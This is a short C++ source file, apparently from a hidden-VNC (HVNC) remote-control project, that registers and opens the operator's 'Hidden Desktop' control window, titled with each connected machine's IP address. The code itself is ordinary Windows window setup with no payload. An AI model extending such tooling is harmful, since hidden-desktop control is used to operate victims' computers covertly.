HVNC/Server/ControlWindow.cpp

49 lines
1.3 KiB
C++

#include "ControlWindow.h"
static const TCHAR *className = TEXT("HiddenDesktop_ControlWindow");
static const TCHAR *titlePattern = TEXT("%S Hidden Desktop");
BOOL CW_Register(WNDPROC lpfnWndProc)
{
WNDCLASSEX wndClass;
wndClass.cbSize = sizeof(WNDCLASSEX);
wndClass.style = CS_DBLCLKS;
wndClass.lpfnWndProc = lpfnWndProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = NULL;
wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground = (HBRUSH) COLOR_WINDOW;
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = className;
wndClass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
return RegisterClassEx(&wndClass);
}
HWND CW_Create(DWORD uhid, DWORD width, DWORD height)
{
TCHAR title[100];
IN_ADDR addr;
addr.S_un.S_addr = uhid;
wsprintf(title, titlePattern, inet_ntoa(addr));
HWND hWnd = CreateWindow(className,
title,
WS_MAXIMIZEBOX | WS_MINIMIZEBOX | WS_SIZEBOX | WS_SYSMENU,
CW_USEDEFAULT,
CW_USEDEFAULT,
width,
height,
NULL,
NULL,
GetModuleHandle(NULL),
NULL);
if(hWnd == NULL)
return NULL;
ShowWindow(hWnd, SW_SHOW);
return hWnd;
}